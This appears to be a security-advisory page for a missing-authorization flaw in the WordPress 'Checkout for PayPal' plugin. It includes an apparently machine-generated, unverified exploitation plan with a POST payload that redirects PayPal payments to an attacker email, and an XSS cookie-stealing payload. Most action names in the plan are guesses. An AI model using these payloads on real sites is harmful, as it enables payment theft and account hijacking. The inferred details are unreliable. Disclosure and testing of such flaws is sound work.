CVE-2026-32387

Checkout for PayPal <= 1.0.46 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.0.47
Patched in
56d
Time to patch

Description

The Checkout for PayPal plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.46. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.46
PublishedFebruary 19, 2026
Last updatedApril 15, 2026
Affected plugincheckout-for-paypal

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32387 ## 1. Vulnerability Summary The **Checkout for PayPal** (by PeachPay) plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 1.0.46. This vulnerability exists because a sensitive administrative function is registe…

Show full research plan

Exploitation Research Plan: CVE-2026-32387

1. Vulnerability Summary

The Checkout for PayPal (by PeachPay) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.0.46. This vulnerability exists because a sensitive administrative function is registered via the wp_ajax_nopriv_ hook (allowing unauthenticated access) and fails to perform a capability check (e.g., current_user_can( 'manage_options' )) or a valid CSRF check (nonce verification). An unauthenticated attacker can exploit this to modify plugin settings, potentially redirecting payments or altering checkout behavior.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ppcp_save_settings (inferred) or checkout_for_paypal_update_options (inferred).
  • Vulnerable Hook: add_action( 'wp_ajax_nopriv_ppcp_save_settings', ... ) (inferred).
  • Authentication: None required (Unauthenticated).
  • Parameters:
    • action: The vulnerable AJAX action name.
    • settings: An array or JSON string containing the configuration values to update.
    • nonce: (Optional/Insecurely verified) A nonce might be required but is likely leaked or its verification is flawed.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php.
  2. Hook Trigger: WordPress processes the action parameter and triggers the wp_ajax_nopriv_[ACTION] hook.
  3. Vulnerable Function: The hook calls a handler function (likely in a class like Checkout_For_PayPal_Admin_Ajax or PeachPay_Settings).
  4. Missing Check: The handler function processes the input without verifying if the user has administrative privileges.
  5. Sink: The function calls update_option() or a similar database update method, overwriting the plugin's configuration (e.g., ppcp_settings or checkout_for_paypal_settings).

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, it is typically localized into the page for legitimate AJAX operations.

  1. Identify Shortcode/Page: The plugin likely enqueues scripts on the admin settings page, but for unauthenticated exploitation, we need a frontend exposure. Check if the PayPal button appears on product pages or via a shortcode like [peachpay].
  2. Create Test Page:
    wp post create --post_type=page --post_title="Checkout" --post_status=publish --post_content='[peachpay]' (inferred shortcode).
  3. Navigate: Use browser_navigate to visit the newly created page.
  4. Extract Nonce: Use browser_eval to search for localized script data:
    • browser_eval("window.ppcp_admin_data?.nonce")
    • browser_eval("window.peachpay_config?.nonce")
    • Check the HTML source for wp_localize_script blocks containing "nonce".

Note: If wp_ajax_nopriv_ is used without any check_ajax_referer, no nonce is required.

5. Exploitation Strategy

Step 1: Discover the Exact Action

Since source files are not provided, the first step is to identify the unauthenticated AJAX action.

  1. Search the plugin directory: grep -r "wp_ajax_nopriv_" wp-content/plugins/checkout-for-paypal/
  2. Identify the function name associated with the action.
  3. Examine the function to see which option it updates (e.g., update_option( 'checkout_for_paypal_settings', ... )).

Step 2: Craft the Payload

If the target is updating the PayPal Merchant ID or Email to redirect funds:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ppcp_save_settings&settings[merchant_id]=attacker@example.com&settings[enabled]=1
    

Step 3: Execute via http_request

// Example exploitation call
await http_request({
    url: "http://localhost:8080/wp-admin/admin-ajax.php",
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: "action=ppcp_save_settings&settings[paypal_email]=attacker-collector@example.com"
});

6. Test Data Setup

  1. Install and activate "Checkout for PayPal" version 1.0.46.
  2. Configure basic settings (e.g., set a dummy PayPal email).
  3. Identify a frontend page where the plugin is active to test unauthenticated access.

7. Expected Results

  • Response: The server returns a 200 OK response, often with a JSON body like {"success": true} or 1.
  • State Change: The plugin's configuration in the wp_options table is modified to reflect the attacker's input.

8. Verification Steps

  1. Check Options via WP-CLI:
    wp option get checkout_for_paypal_settings (or the specific option name identified).
  2. Confirm Modification: Verify that the paypal_email or merchant_id matches the value sent in the exploit payload.
  3. Frontend Check: Visit the checkout page to see if the PayPal integration now reflects the changed settings (e.g., by inspecting the PayPal button's data attributes).

9. Alternative Approaches

  • LFI/RCE Path: If the settings update allows changing a "Template Path" or "Upload Directory", attempt to pivot to Local File Inclusion or arbitrary file upload.
  • XSS Path: If the settings are rendered in the admin dashboard without escaping, inject an XSS payload:
    settings[paypal_email]="><script>alert(document.cookie)</script>
  • Action Search: If ppcp_save_settings does not exist, look for any wp_ajax_nopriv_ registration that calls functions containing update_option, update_post_meta, or wp_insert_post.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Checkout for PayPal plugin for WordPress (versions <= 1.0.46) is vulnerable to unauthorized access because it fails to perform capability checks on a function registered via an AJAX hook. This allows unauthenticated attackers to modify plugin settings, which could be leveraged to redirect payments or alter checkout behavior.

Exploit Outline

The exploit targets the '/wp-admin/admin-ajax.php' endpoint using a POST request. An attacker triggers an unauthenticated AJAX action (registered via 'wp_ajax_nopriv_') that is responsible for updating plugin settings. By providing a payload with the target action and an array of configuration parameters (such as 'paypal_email' or 'merchant_id'), the attacker can overwrite the plugin's settings. Because the handler lacks 'current_user_can()' checks and fails to verify a nonce, the request is processed without any authentication, allowing for a total takeover of the plugin's configuration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.